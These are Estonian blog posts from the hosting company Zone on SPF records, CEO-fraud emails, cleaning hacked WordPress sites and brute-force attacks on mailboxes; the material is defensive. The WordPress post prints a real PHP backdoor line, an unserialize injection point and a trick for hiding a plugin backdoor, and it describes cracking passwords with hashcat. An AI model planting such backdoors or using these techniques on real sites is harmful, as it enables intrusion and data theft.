SPF kirje nüüd kõigil Zone postiservereid kasutavatel domeenidel

Tegime teoks ühe ammuse plaani ja lisasime kõigi Zone postiservereid kasutavate domeenide nimeserveritesse SPF-kirje, mis aitab e-postiteenustel kirju paremini spämmist eristada ja vähendab võimalust, et keegi kolmas saab domeeni aadresse kasutavaid kirju saata.

Kõigi muudatusest puudutatud domeenide omanikud said e-posti teel eelnevalt teavitatud, kirjed lisasime 23.08.2017 hommikul.

Tehniline kokkuvõte: vältimaks probleeme klientidele, kes võivad kasutada oma SMTP-servereid või e-posti saatvaid rakendusi, on lisatud kirje võimalikult leebe ehk v=spf1 a mx include:_spf.zone.eu ~all . Muudest allikatest saadetud kirjad saavad olekuks SoftFail. Soovitame kõigil see ise rangemaks muuta välistades võõraste serverite kasutamise täielikult, selleks peab kirje lõpus olema -all. Kõigile uutele virtuaalserveritele lisame automaatselt range ehk -all SPFi.

Miks me sellise muudatuse tegime?
Põhjuseid on kaks.

Esiteks on viimasel ajal lisaks võõralt aadressilt spämmi saatmisele sagenenud juhtumid, kus kurjategijad võltsivad e-kirjade päiseid ning sisu jätmaks vastuvõtjale mulje, et kiri on igati legitiimne ning saadetud teie ettevõtte töötaja poolt. Reeglina palutakse sellistes kirjades, mis jõuavad teie kolleegide postkastidesse, teha rahaülekanne mõnele välismaisele pangakontole. Kirjutasin ühest sellisest kelmusest Zone blogipostituses “Kas saaksid kiiresti ühe maksekorralduse teha?”.

NB! Juhul, kui olete ise sarnase sisuga kirju saanud, siis kindlasti suhtuge neisse äärmiselt kriitiliselt ning vajadusel täpsustage muid kanaleid pidi saatjalt üle, kas saabunud kiri on ikka tema saadetud!

Teiseks on postiteenused nagu Gmail hakanud järjest enam kontrollima, et e-kirjad saabuksid vastava domeeni omaniku poolt heaks kiidetud serveri vahendusel.

Milles muudatus seisneb?

Me lisame spetsiaalse SPF (Sender Policy Framework) kirje domeeni teenindavasse nimeserverisse. Tänu sellele veenduvad kirju vastuvõtvad e-posti serverid, et saabunud e-kiri on saadetud justnimelt selle domeeninimega seotud e-postkastist ning kiri toimetatakse süsteemi poolt edasi õige saajani. SPF-kirjete lisamine aitab vältida domeeni kasutajate nimel saadetavate võltskirjade ja spämmi jõudmise adressaatideni ning tagab kirjade jõudmise nt Gmail’i kasutajateni.

Tehnilisem selgitus: kirjes on viide kõigile kasutusel olevatele Zone e-posti ja veebiserveritele: kui saadate kirju Outlook’ist vms e-postikliendist, kasutades selleks SMTP protokolli; Zone veebimeilist või kui panete kirjad teele Zones majutatud veebiserveri abil.

Lisatav kirje ei välista täielikult teistest serveritest saadetava e-posti kohalejõudmist. Kui soovite turvalisust suurendada ja e-posti kohalejõudmist veelgi paremini tagada, siis tuleb sätteid veelgi rangemaks muuta.

Päris tehniline selgitus: lisame TXT-kirje mille sisuks on:

v=spf1 a mx include:_spf.zone.eu ~all

Antud juhul me kasutame vaikimisi leebemat ~all parameetrit, mis tähendab, et loetlemata serverid saavad tulemuseks SoftFail. Meie tungiv soovitus on kindlasti tuvastada ja lisada kõik legitiimsed e-posti saatmise kanalid (MailChimp, raamatupidamis- või kliendisuhtehaldustarkvara) ning minna üle parameetri -all peale.

Kas sellest saab loobuda?

Ei, sest puudub mistahes mõistlik põhjus. Küll aga võib soovi korral ise endale meelepärase SPF-kirje seada, selle olemasolul me midagi ei muuda. SPF-kirje aktiveerimiseks talitage nii:

  • logige https://www.zone.ee lehel oma kasutajakontoga Minu Zone’sse
  • menüüvalikus “Teenuste ülevaade” klõpsake asjakohase serveri järel lingile „Halda”
  • järgmisel lehel valige “E-post” ning selle alammenüüst valik “DKIM / SPF / DMARC”
  • avanenud valikutes on tõenäoliselt näha, et SPF kirje on juba aktiveeritud – soovi korral saab klõpsata “Muuda” ning kirje sisu kohandada

Täpsema selgituse ja leiab mullusest blogipostist “3 tehnoloogiat, mis aitavad kirjad kindlalt kohale toimetada”.

Kas midagi võib katki minna?

Ei. Meie lisatav kirje on piisavalt leebe, sest see loetleb lubatud serverid, aga ei keela mujalt saatmist.

Aga kui soovite oma e-posti veel turvalisemaks muuta ning mujalt e-posti saatmine täielikult välistada, kasutades SPF-kirjes -all parameetrit, siis võib juhtuda, et oma e-postitarkvaras mõne mitte-Zone SMTP serveri seadistanud kasutajate kirjad ei jõua kohale või satuvad spämmifiltrisse. Sama lugu võib juhtuda ka MailChimpist või mõnest teisest e-postiturunduslahendusest saadetud kirjadega, raamatupidamisprogrammist saadetavate arvetega jne.

Sellisel puhul on vaja SPF-kirjet vastavalt kohandada, lisades MailChimpi puhul kirjesse include:servers.mcsv.net, Outlook.com postiteenuse kasutamisel include:spf.protection.outlook.com või mõne konkreetse arvuti IP-aadressi. See ei ole keeruline, aga meie seda omal algatusel teha ei saa.

Kuidas kontrollida, et kõik toimib?

Selleks on üks mugav teenus, mis asub aadressil https://www.mail-tester.com , mis sai mullu ka eestikeelse tõlke. Saates teenuse poolt genereeritud test-aadressile oma postkastist kirja, saab mõne minuti pärast tulemust näha. Lähemalt saab sellest lugeda blogipostitusest “Kuidas kontrollida väljuva e-posti SPF+DKIM+DMARC toimimist?“.

Vaata, kuidas kelmidel CEO-pettus nihu läks!

Oleme juba kaks nädalat oodanud oma postkastidesse kirja, kus Martti või Ardi palub kiiremas korras ühe väikse välisülekande teha. Miks meie kliendid saavad neid kirju, aga meie mitte?

Nagu ma “Kas saaksid kiiresti ühe maksekorralduse teha?” postituses selgitasin, on selle skeemi taga tõenäoliselt veebiskanner, mis tuvastab ettevõtte juhi nime ja paneb raamatupidaja või üld-aadressile teele võltsitud saatja-aadressiga kirja. Kui kirjale vastata, saadetakse info makse saaja kohta ning vajadusel mõeldakse välja mingi põhjus miks on kiire ja asjakohast arvet saata ei saa.

Meie saime täna aga sellise kirja:

Üle kontori kõlas kooris “Alex, who the heck is Alex?” … kuniks Ardi taipas, miks see nimi kangesti tuttav tundub: kui googeldada zone manager alexander mitter on esimene vaste paari-aasta-tagune uudis “veebi suitsuanduri” Nimbusec’i lisamisest Zone+ alla. Ja sealt leiab tsitaadi:

Cumulo’s partner relations development manager Alexander Mitter described Nimbusec’s mission: “Cyber attacks are not only aimed at high profile targets anymore, it is a phenomenon that targets the whole society. The mission of Nimbusec is to stay a step ahead of the criminals, watch over our clients websites and alert them when problems arise. This way we help our customers avoid financial and reputation loss. […]

Rrrright, Alex on meil ju igapäevaselt olemas Skype-chatis, kus me Nimbusec’i tehnilist tiimi vale-positiivsetest ja vale-negatiivsetest pahavara-leidudest teavitame.

Mu algne oletus oli, et veebist leitakse firma kontakti-leht ning sealt tuvastatakse manager / CEO vms oluline panjandrum – aga paistab, et nad on suutelised leidma täiesti suvalistest tekstides juhi-rollile viitava sõna kõrvalt nimesid ning nende nimel info@ aadressile kirjutama. Meie saime sama kirja ka arve@zone aadressile.

Moraal?

  • tõepoolest, me räägime Zone veebis teenustest, tehtust, tehnopoliitikast ja küberturvast – aga “who the heck is zone?” on >80% osas katmata ja robotil polnud absoluutselt mingit võimalust tuvastada kes on CEO, kes konduktor või kes büroo-assistent (samas ma ise alati heameelega tutvun enne ostu ettevõtte taustaga)
  • jah, selle kelmuse taga on üsna juhm veebiskanner ning kellelgi pole vaja karta, et tema postkasti-parool vms mitte-avalikud andmed oleks lekkinud
  • võtame asja rahulikult, sest kuniks me ei teosta ülekandeid ilma korrektselt vormistatud ja asjakohaselt aktsepteeritud raamatupidamise algdokumendita (laiemalt tuntud kui “arve”) puudub ka risk kelmuse ohvriks langeda

Kas saaksid kiiresti ühe maksekorralduse teha?

Umbes sellise küsimusega hakkab pihta enamus CEO-kelmuse kirjavahetustest – ja viimastel päevadel on nende hulk järsult kasvanud. Suvi, firmades on osa inimesi puhkamas ning suhtlevad teistega äärmise vajaduse korral lühikeste, mobla-ekraanilt tipitud sõnumitega.

Kontorisse jäänutel on aga puhkajate asendamistega käed-jalad tööd täis ning olukord natuke uus ja ilma sisse harjunud käitumisreegliteta.

Näiteks võiks reedel, napilt enne lõunapausi, assistent Anne postkasti saabuda selline kiri tegevjuht Tiiult:

Ääremärkus: see ja järgmised kirjad on pärit ühe meie turvateadliku kliendi suhtlusest päris kelmidega. Nimed ja aadressid muudetud, fiktiivse firma nimi pärit ühest sotsmeedia-eksperimendist. Igaks juhuks ka tavakohane hoiatus “don’t try that at home work” – vaevalt, et neil sind maksma petta õnnestub… aga äkki võtab keegi trollimist südamesse ja leiab mõne turvaprobleemi mille ärakasutamise-katseks sa veel valmis pole.

Raamatupidaja on puhkusel, aga lõunalt naasnud Anne ülesandeks on kontor iga ilmaga toimivana hoida ja Tiiu saab peagi täpsustava küsimuse:

Viis minutit hiljem tuleb talt vastus:

Samuel on ilmselt rahamuul, kes on “töökuulutuse” peale olnud nõus oma kontole saabuvast rahast 90% sulas välja võtma ja Western Union’i kaudu edasi saatma.

Anne jääb hetkeks kirja uurima – aga peagi on postkastis järgmine kiri Tiiult, kellel ilmselt on maksega kiire:

Mistahes kelmuse puhul on oluline sundida ohver enne tegutsema ja alles siis mõtlema. “Ja-jaa, juba jooksen,” ohkab Anne – aga ta ei saa ju niisama maksta, sest raamatupidaja peaks selle kuidagi algdokumendiga kokku viima:

Ja saab vastuseks:

Nagu näha, sai Google Translate jälle natuke tööd teha ning kellegi nobedad näpud kopeerisid vastused Outlook’i.

Järgmine kord ei pruugi aga pettus nii kergesti märgatav olla, sest suhtluse kulg on üsnagi etteaimatav ja pole keeruline paarkümmend tüüpvastust inimtõlgilt tellida. Tegemist on ikkagi levinud kelmuseliigiga ja küllap leiab selle läbiviimiseks asjakohastest veebidest nii õpetusi kui ka tekstinäiteid. Brian Krebs’il on hea lugu veidi erinevast pettuseliigi ehk “vene kohtinguteenusest” toimimisest.

Jätame aga Tiiu ja Anne omavahel suhtlema ning vaatame…

Kuidas selline kelmus töötab?

Keerulisemate CEO-kelmuste puhul on tegemist ühe osapoole e-postikonto ülevõtmise ning päris arve võltsimisega. Sellist näidet kirjeldab Andris postituses Tõestisündinud lugu e-posti võltsimise tõttu kaotatud rahast ja ühte banaalselt lihtsat postikontosse sissemurdmist lahkas Ardi loos “Paha Panda” varastab postkaste.

Sedapuhku pole aga tegemist konkreetse firma vastu suunatud kuluka harpuunimisega ning Tiiu ja Anne kontaktid leiti pigem firma kodulehelt:

Veebifragment kelmidega kirjavahetust arendanud firma kodulehelt, pildid “Anna Malvara” loo juurest. Olgu lisatud, et mõlemad on 100% sünteetilised ehk 3D-renderdatud – Tiiu on pärit Renderpeople galeriist ja Anne leidsin üles ühest 3ds Max’i õpetusest.

Robotid skannivad tuhandete firmade veebe, korjates kokku e-posti-aadressid ning nendega seotud nimed ja rollid. Keegi hoolas inimene puhastab andmed ja müüb need kena Exceli-tabelina ahela järgmisele lülile maha – hinnajärk ilmselt sent per firma.

Ja see järgmine lüli saadab laiali spämmi, kus saatja real on kenasti From: Tiiu Kask <tiiu@malvara.ee>, kiri on saadetud mõne pahaaimamatu firma serverist (Return-Path: <vd@somehackedwebsite.com>) ja Outlook’i vms e-postikliendi puhul vastamisel kasutatav Reply-To aadress viitab kolmandale, samuti kelmi kontrolli all olevale serverile, kus kasutajanimest sõltumatult jõuavad kõik kirjad “operaatori” postkasti (Reply-To: "Tiiu Kask" <tiiu@vd-scammersdomain.org>):

Anne saab kogu suhtluse käigus kirju, kus saatjaks oleks justnagu õige Tiiu – aga tehes Reply läheb vastus vale-Tiiule.

Kuidas ennast selliste pettuste eest kaitsta?

Ma heameelega räägiks siinkohal vajadusest lisada oma domeenile SPF-kirje, mis võimaldab postiserveritel kontrollida, et malvara.ee kirju tohib saata ainult see üks ja õige server (loe: 3 tehnoloogiat, mis aitavad kirjad kindlalt kohale toimetada ja Kuidas kontrollida väljuva e-posti SPF+DKIM+DMARC toimimist?)… aga kuigi see on 100% mõistlik liigutus, peitub tegelik võti ikka meie endi peas – valmisolekus kelmust ära tunda ja kokkulepitud käitumisreeglites:

  • tea, et kiirusele rõhumine on sageli märk soovist sind tavapärasest erinevalt käituma panna ja e-posti on lihtne võltsida
  • vähimagi kahtluse korral kontrolli saatja tegelik soov üle, kasutades selleks alternatiivset sideviisi (loe: helista sulle teadaolevale, mitte kirjas toodud numbrile) või kasuta vastamise (Reply-To) asemel edastamist (Forward) sisestades teise osapoole aadress ise To-lahtrisse
  • sellise kelmuse ohvriks sattujad ei ole rumalad või hooletud – teine pool on suhtluse üles ehitanud lähtudes väga heast inimpsühholoogia tundmisest ning iga sammu läbi mõelnud, praktiseerides sellist tegevust “üheksast viieni” ehk põhitööna

Tänud kõigile, kes on võtnud vaevaks meile kirjanäidiseid saata ning eriti uudishimulikule “Annele”, kes tahtis teada mis toimub peeglitaguses maailmas 🙂

Pöördlammutamine ehk pihtas-põhjas, nett on hukas

“Midagi võiks ära lammutada,” selgitas Birgy Lorenz, kui mult Küberolümpia ehk European Cyber Security Challenge 2017 eelvooru seminari jaoks ettekannet küsis.

Kuna täiesti juhuslikult oli minul samal ajal plaanis Muhu Väina regatil purjekat ja/või Riia linna lammutada, siis kasutasin võimalust ning vormistasin oma demod 13,5-minutiliseks videoks.

Sihtgrupist lähtuvalt on see pöördlammutamine “veidike” tehnilisevõitu, aga kindlasti õpetlik vaatamine kõigile veebirakendustega (eriti WordPressiga) tegelejatele. Pikem taustaselgitus allpool, sobib lugeda nii enne kui ka pärast video vaatamist.

Pöördlammutamine?

Lammutamise all mõtles Birgy seda, et võiks võtta ette mõne turvaprobleemidega süsteemi ja näidata, kuidas ühest väiksest august sisse pääsenuna õnnestub ka kõik muu üle võtta. Kuna ise endale ründeks probleemset veebi ette valmistades tekib alati selline… lati alt läbi mineku tunne, otsustasin sedapuhku veidi keerulisema tee kasuks. Võtsin ette 5 viimasel ajal maha häkitud WordPressi, mille puhastamiseks kliendid Zone klienditoe tehnikute abi on kasutanud ja seadsin endale järgmised ülesanded:

  • tuvastada kogu veebis olev pahavara (sellest ka “pöördlammutamine”)
  • lisada leitu ühele tühjale ja anonüümsele WordPressile
  • testida levinud pahavara-skännereid ja määrata nende efektiivsus
  • selgitada välja tõenäoline sissehäkkimise viis
  • rääkida tulemus lahti videos, mis on lühem kui 10 minutit

Viimane punkt läks veidi lappama, sest õpetlikke näiteid kogunes kahjuks rohkem kui 10 minuti sisse mahtus.

Eriti räpane WordPress

Eksperimendi üheks ajendiks oli ka maikuus FB WordPress Eesti grupis toimunud arutelu WP turvapluginate ja skannerite efektiivsuse teemal. Kuna mu eelmise aasta pahavara-näidiste komplekti olid erinevad teenused hakanud üsna kergesti ära tundma, kasutasin vabu hetki jõudmaks puhastamist vajavatele veebidele jaole enne tehnikute tööleasumist, kogusin tõendusmaterjali rünnete kohta ning tegin läbi lihtsustatud versiooni meie puhastus-protsessist: vahetasin välja WP ja kõik pluginad-teemad, seejärel lasin versioonihaldusel kuvada erinevusi ehk muudetud või lisatud faile.

Huvitavad näited – nakatatud ja pahavaralised pluginad, WP kataloogidesse ja koodi sokutatud tagauksed, kataloogitäied SEO-spämmi jms – tõstsin üle puhtasse WordPressi, pannes kõik probleemid kenasti tabelisse kirja.

Kas ma seda WordPress’i jagan kah? Kui on huvitav kasutusplaan ja usaldusväärne küsija, siis kaalun plusse ja miinuseid.

Tööriistad

Käsitsi oleks seda kõike nüri teha – eriti mitme veebi puhul. Minu tavapärane tööriistakohver näeb välja selline:

WPScan – käsurealt käivitatav utiliit, mis kasutab wpvulndb.com andmebaasi ja proovib leida WP enda ja pluginate-teemade teadaolevaid haavatavusi. Kohati annab see aimu võimalikust ründevektorist – nt mõni plugin, mis lubab path traversal’it ehk kuvada failide sisu, sh wp-config.php, kus on kirjas andmebaasi kasutajatunnused. Paraku ei saa WPScan alati täpselt pihta plugina versioonile, tekitades ohtralt lärmi valepositiivsete leidude näol. Ja samas oleme me kohanud saite pluginatega, mis ei ole kirjas üheski andmebaasis ja veelgi enam – haavatav versioon on endiselt WP plugina-saidist allalaetav.

Minu enda ctimer.php (mille leiab koos selgitustega blogipostist CSI küber – kas keegi on mu serveris faile muutnud?) – kuna ctime aeg läheb kirja kerneli õigustes, siis võib seda usaldada, erinevalt tavaliselt kuvatavast ja igaühe poolt muudetavast mtime ajast. Sortides faile ctime järgi hakkab sageli silma värskeim kahtlasel moel muudetud fail, mille asukoht võib reeta probleemse plugina või hoopis selle, et sissetung on toimunud adminnkasutaja parooli äraarvamise ja WP enda teema/pluginaeditori kaasabil. Või siis vähemalt on teada, millisest ajajärgust tuleks logisid uurima hakata.

Logid, grep ja less – sellest, kuidas logisid uurida, tuleks teha täiesti eraldi postitus. Arvestades nende suurust peaks käsurealt greppimine ja tulemuses ringi navigeerimine olema igal veebimeistril samamoodi käpas nagu HTML, CSS, Gulp, Bower jne. Sedapuhku tekkis paari saidi puhul justnimelt logisid vaadates mõte, et probleemiks on nõrk parool – sest teemafaile oli muudetud kohe pärast loginit.

hashcat – jõhker overkill kontrollimaks paroolide tugevust räside brute force’imise meetodil. Aga mingi tööriistaga pidi seda tegema ja ka maailma väikseim sõnastik, kus sisalduvad ainult kasutajanimed, saidinimi ja paar levinumat nõrka parooli on sõnastik. Minul oli lisaks reegel, mis proovis panna kasutajanime lõppu numbreid 1-9 ja lähemaid aastaarve.

Minu enda WP-CLI-põhine shellscript clinup – võimaldab ühe käsuga teha liigutusi nagu WP, pluginate ja teemade vahetamine sama (või värskeima) versiooni koodi vastu tehes iga sammu järel git commit, PHP otsimine uploads-kaustast, .htaccess abil elementaarsete piirangute kehtestamine ja palju muud huvitavat.

Õpetlikud näited

WPscan abil leiab pahalaste poolt ülevõetud veebidest sageli uuendamata ja teadaoleva turvaaugu pluginaid koos selle ärakasutamise õpetusega. Heal juhul selgub sellest kohe ka ülevõtmise meetod ehk lappimist vajav probleem.

Tavapärane ründaja töötab mõistagi täpselt vastupidi, ehk skannib kõiki ettesattuvaid veebe proovides leida nõrkusi, mille jaoks on tema tööriistakohvrikeses rünne juba olemas.

Kataloogihüpe

Enamasti pakub ründajatele huvi võimalus faile üles laadida, aga oluliselt levinum turvaprobleem on path traversal ehk kataloogihüpe – seda kasutatakse ära nägemaks wp-config.php’st andmebaasi kasutajatunnuseid.

Videos demongi ühte sellist probleemi kasutades Font plugina versiooni 7.5, mis ühes nakatunud veebis kasutusel oli:

Tähelepanelik vaataja märkab siinkohal kindlasti, et selle kirjelduses on mainitud ka “authenticated” ehk siis probleemi ärakasutamine eeldab sisseloginud kasutajat. See ei pea aga üldsegi tähendama admin-kasutajat. Kuna tolles veebis oli paigaldatud ka WooCommerce, siis oli täiesti võimalik regada endale kliendi-konto ning olles sellega sisse loginud, teha vastav pöördumine, sest ei kontrollita admin-õigust, vaid lihtsalt sisselogimist:

Olgu öeldud, et üks kahtlasevõitu epostiga kasutaja oli seal veebis ka olemas. Paraku märkasin seda alles pärast salvestamist, seega jõuan video lõpus veidi teistsugusele ja oluliselt lihtsamat ligipääsu võimaldavale järeldusele.

Aga üks näide käib selle plugina juurde veel: kui teha koodis vaevumärgatav muutus ehk eemaldada ülaloleval ekraanilasul valitud nopriv_, siis kaob vajadus sisselogimise järele. Kui muuta lisaks plugina versioon värskeimaks olemasolevaks, siis on mul veebis ideaalne tagauks: see ei näi põgusal vaatlemisel kahtlane ning veebimeister võib WordPress’is pluginaid uuendada ja andmebaasi-paroole vahetada palju tahab.

Tõsi – on üks väike nipp, mis sellise probleemi vastu aitab: kui kasutada uuendamiseks WP-CLI käsurea-utiliiti, siis saab anda kaasa parameetri --force, mis tagab ka olemasolevate pluginate re-installi (juhul, kui need kasutavad standardset uuendusprotsessi st ei ole käsitsi kusagilt paigaldatud). Ja kui ükshaaval ei viitsi uuendada, siis võib küsida nimistu ja lasta tsükliga:

wp plugin install $(wp plugin list --field=name) --force

Ja seejärel võib vaadata, et mis kataloogid jäid viimase 15min jooksul vahetamata ning need käsitsi üle käia:

find wp-content/plugins -maxdepth 1 -type d -mmin +15 -exec basename {} \;

Videos teen ma sama oma veidi keerukama clinup skriptiga, mis oskab vahetada hetkel kasutusel oleva versiooni vastu ja ühtlasi iga sammu vahel git commit teha, kuvades mugavalt kõik muutused:

Teepaljang

Tunnistan, et olen ka ise full path disclosure ehk teepaljangule liiga vähe tähelepanu pööranud. Kui veebis on äraarvatavas asukohas viga andev PHP-fail, siis kuvab veateade vaikimisi välja faili asukoha kettal:

Kuna mul esimesel katsel tavapärane kataloogipuus ülespoole liikumine ehk ../../../wp-config.php tulemust ei andnud – ilmselt tegin miski kirjavea – leidsin äraarvatavast asukohast ehk teemakataloogist hõlpsalt faili, mis reetis veebiserveri juurkataloogi.

Hea oleks vigade väljastamine juba php.ini’s ära keelata – meie puhul sobib selleks phpini/global/php.ini fail (ülejäänud on automaatselt genereeritud ja neid kasutaja muuta ei saa):

[PHP]

display_errors = Off

… aga siis tuleks meeles pidada, et nii on tehtud ja edaspidi vigu ikka logidest otsida ja mitte helistada klienditoele teatega “mu veeb kuvab valget lehte”.

Ääremärkus – juba mõnda aega leiavad PHP 7 kasutajad logs kataloogist ka viimaste päevade PHP-vealogid ning sümbollingi käsiloleva päeva logile.

Jagatud serveri needus: jagatud andmebaasiserver

Ja mis nende andmebaasi-paroolidega pihta hakata? Jagatud serveri puhul on jagatud ka andmebaasiserver ja PHPmyadmin vms lihtne haldusvahend… ning sealtkaudu saab endale adminn-kasutaja lisada või mõne olemasoleva parooliräsi korraks ära muuta. Zupsti sisse-välja… ja tehtud. Valus hakkab pärastpoole.

Selle vastu väga head lahendust ei ole. Võiks ju keelata PHPmyadmin’i kasutamise, aga teisest samas serveris olevast ülevõetud veebist saab ikka ligi, sest IP millega ligipääsu saab piirata on sama. Eriti paranoilised isikud – nagu mina – võivad muidugi salvestada paroolid Apache direktiivide abil keskkonnamuutujatesse ja siis neid kasutada:

Ja wp-config.php-s:

define( 'DB_NAME', $_ENV['DB_NAME'] );
define( 'DB_USER', $_ENV['DB_USER'] );
define( 'DB_PASSWORD', $_ENV['DB_PASSWORD'] );
define( 'DB_HOST', $_ENV['DB_HOST'] );

(just-in-case kõik mu muud nipid veebi kaitsmiseks alt veavad)

Tavaline ja ebatavaline tagauks

Harilikult leiab veebist tagauksed ja pahavara koodi vaadates üsna kergesti üles – sest sealt paistavad eval(), system(), base64_decode() vms funktsioonide kõrvad:

Sedapuhku hakkas mulle aga silma ka haruldasem elukas – nimelt oli ühes failis selline rida:

echo preg_filter('|.*|e', $_REQUEST['oneman'], '');

PHP on selline tore keel, kus regex’is on olemas modifikaator e ehk PREG_REPLACE_EVAL , mis on varmalt valmis kõike leitut eval()’ima ehk kasutaja sisestatut käsuna täitma. See on eemaldatud PHP versioonis 7 – aga aastal 2012 loodud veebiserveris versiooni vahetamine on nõrkadele…

Misiganes põhjusel on parimad nimistud innovatiivsetest tagauksestatud koodinäidistest hiinakeelsetes veebides, ei hakka siinkohal linkima, aga googeldades “php callback backdoor”, siis peaks üht-teist välja ilmuma (saitide külastamine omal vastutusel).

Lisaks hakkas mulle FlickrPress plugina (tänaseks kataloogist eemaldatud) koodis täiesti juhuslikult silma rida:

 $something = unserialize(@base64_decode($_REQUEST[‘something’]));

See võimaldab PHP Object Injection ehk PHP objektisüsti haavatavuse ärakasutamist. Mugava proof-of-concept koodi – sest objektisüst eeldab ärakasutamiseks sobiliku objekti olemasolu – leiab Plugin Vulnerabilities blogipostitusest. Proovime järgi:

Tähelepanelik vaatleja kindlasti märkab, et ma olen teinud täiesti suvalise alamlehe pihta GET-päringu andes pluginas oleva turva-augu aktiveerimiseks vajalikud parameetrid kaasa küpsisena. See plugin loeb parameetreid $_REQUEST globaalmuutujast – mis ei ole hea praktika – ning sinna jooksevad seadistusest (variables_order ja request_order) sõltuvalt kokku $_GET ja $_POST parameetrid… ning $_COOKIE.

Ääremärkus: ajaloolistel põhjustel on ka meil Zones vaikimisi variables_order väärtuseks ‘EGPCS’. Kui me selle tihedamaks keeraks… läheks kellelgi midagi katki. Ilmselt peaks lisama võimaluse seda seadistada. Seniks võib phpini/global/php.ini faili panna lisaks ülalviidatud vigade väljastamise keelule ka rea request_order = 'GP'

Kuivõrd video tegemise seisuga polnud seda pluginat kirjas levinud haavatavuse-baasides ega fixitud, siis võib seda ilmselt zero-day’ks nimetada.

Autor sai vastutustundlikult teavitatud, oli juba enne teadlik … ja võttis selle tulemusel plugina (“Viimati uuendatud: 8 aastat tagasi”) ametlikust kataloogist üldse maha.

Ehk kõik, kellel see plugin kasutusel, on edaspidi endiselt haavatavad ja neil puudub ka adekvaatne viis ohust teada saada. Äärmiselt sobilik näide illustreerimaks “uuendamine ei pruugi olla lahendus” väidet.

Ääremärkus – raporteerides FlickrPress’i saatsin kordusteate ka ühe teise plugina turvaprobleemi kohta, mille vastu suunatud ründe avastasin juba pool aastat tagasi. Ma puhtalt huvi pärast ootan, et kaua läheb fiksimisega.

Pahavara tuvastamise tõenäosus

Kui me juba müütideni jõudsime, siis lammutaks ära veel ühe – “veebiserverist on võimalik asjakohase tööriistaga leida üles pahavara sisaldavad failid ning need siis ära kustutada või puhastada”. Veidi muudetud väide on samas tõene: “On võimalik leida pahavara sisaldavaid faile, kui neid on piisavalt palju ja need vastavad levinud mustritele.”

Leitava pahavara protsent sõltub tööriista võimekusest ja häälestuse tundlikkusest. Mina võtsin ette Zone+ all pakutava Nimbusec’i, Revisium’i tasuta tööriista AI-bolit tavalises ja “paranoia”-reziimis ning WP pluginad Quttera ja GotMLS. Kontrolliks võtsin testi ka Nod32 ja DrWeb antiviirused, aga nende tulemus on allpool igasugust arvestust (ning ClamAV leidis veel 2x vähem).

Teades kõiki muudetud faile (52 olulist näidet) oli lihtne teha andmebaasi-rakendus, kuhu saan lugeda sisse tuvastuste raporti ning tulemused tabelina kuvada:

Valepositiivsete protsent on arvestatud leidude suhtes, sest nii tundus loogilisem. Kasutaja jaoks annab “leitud 10 reaalset ohtu ja 5 valepositiivset” põhjal rehkendatud 50% ilmselt rohkem infot, kui protsent kõigist WP all olevatest failidest.

Järjekordselt oleme rahul oma valitud Nimbusec’iga – tuvastus on piisavalt hea tagamaks toimimise suitsuandurina ehk andmaks märku veebi tabanud probleemist, samas ei tekita tavakasutajas liigselt paanikat valepositiivsetega.

Aga isegi kõige paranoilisem AI-bolit skooris vaid 90% probleemsetest failidest – ehk maha tuleks matta (ja raske kiviga katta) lootus, et mingi skänni abil saab veebi puhtaks. Ainus lahendus on kõik mis võimalik ära asendada. Ja ülejäänu käsitsi üle käia või minema visata.

Ja lõpuks – kuidas siis ikkagi sisse saadi?

Viimase kahe näidispakki lisatud veebi puhul tundus mulle kahtlane, et probleemiks oli mõni plugin, pigem oli tuldud sisse admin-kasutajana ja faile muutes endale laiem ligipääs rajatud.

Hüpoteesi kontrolliks otsustasin “Paha Panda” meetodit ehk nõrkade paroolide äramõistatamist kasutada. Võtsin ette hashcat’i ning tekitasin sõnastiku enamlevinud paroolidest, uuritavates saitides olnud kasutajanimedest ja lisasin reegli, mis proovib esimest tähte suureks teha ja lõppu numbrit lisada.

Tulemuseks – mu läpakas ei jõudnud veel ventilaatorit käima panna, kui hashcat juba räsidele vastavad paroolid välja sülitas:

Esimene neist on täpselt reaalse saidi kasutajanimi ja parooliräsi (sedapalju siis soovitusest, et admin kasutaja asemel mõne teise nime kasutamine turvalisust tõstab – kasutajanimede kokkulugemine pole tead-mis keeruline), aga teise puhul on parool ohvri isiku kaitseks ära muudetud.

Pihtas-põhjas, nett on hukas…

ps. kui lugesid alustuseks teksti läbi – tubli! – siis ära unusta lisaks ka videot vaadata 🙂

“Paha Panda” varastab postkaste

Suurbritannia parlamenti tabanud küberrünnak, mis suunatud parlamendiliikmete e-poskastide vastu, ajendab jagama infot e-posti rünnakukampaania kohta, mis täna aktuaalne ka Eestis.

Ühel pealelõunal hakkasid Zone IT operatsioonide meeskonna ekraanil vilkuma alarmid. Infoturbeintsidente tuvastav monitooringusüsteem hakkas järjest välja sülitama teateid, et mõned e-posti kasutajad rikuvad teleportides teada olevaid füüsikaseadusi.

Teleportimine on fenomen, mille puhul internetikasutaja ühendub ühel hetkel meie serveriga Eestist, järgmisel Hiinast, siis omakorda Venemaalt, Malaisiast, Indoneesiast, Brasiiliast või mujalt. Kuigi eksisteerivad mõned erandid (Tor), viitab selline kontinentide vahel hüplemine enamasti siiski kasutajaandmete lekkimisele.

Lühikese aja jooksul tuvastas monitooringusüsteem seda anomaaliat ligi saja e-posti kasutaja juures, võimaliku kuriteo takistamiseks ning kahju minimaliseerimiseks hakkas algoritm blokeerima teleportivate kasutajate ligipääsu serveritele.

Kasutajaandmete lekkimise intsidendid ei ole harukordsed, selliseid intsidente leiab aset regulaarselt – enamasti on põhjuseks kasutajaandmete jalutama minek kahtlasest WiFi võrgust, tööjaama nakatumine pahavaraga või sama kasutajanime/salasõna tarvitamine mõnel hiljuti kompromiteeritud veebisaidil.

Mõjutatud kasutajate arv pani siiski meie infoturbe töörühmal vere vemmeldama. Kui korraga rikutakse niivõrd suure hulga kasutajate privaatsust, tuleb igaks juhuks välistada võimalus, et salasõnad on lekkinud meie süsteemist.

Analüüs

Seetõttu alustati koheselt tööd logide analüüsimise kallal ja võeti ühendust ka mõnede mõjutatud kasutajate või neid toetavate IT spetsialistidega, et selgitada välja võimaliku lekke asjaolud.

Hüpotees andmelekkest meie poolel õnneks kinnitust ei leidnud. Küll aga avastasime oma logisid analüüsides ühe üllatava fenomeni, mille eest teid nüüd hoiatada tahan.

Nimelt on aset on leidmas unikaalne kampaania üliaeglase jõuründe (slow rate brute force attack) näol, mille abil loodetakse rikkuda internetikasutajate e-posti privaatsust.

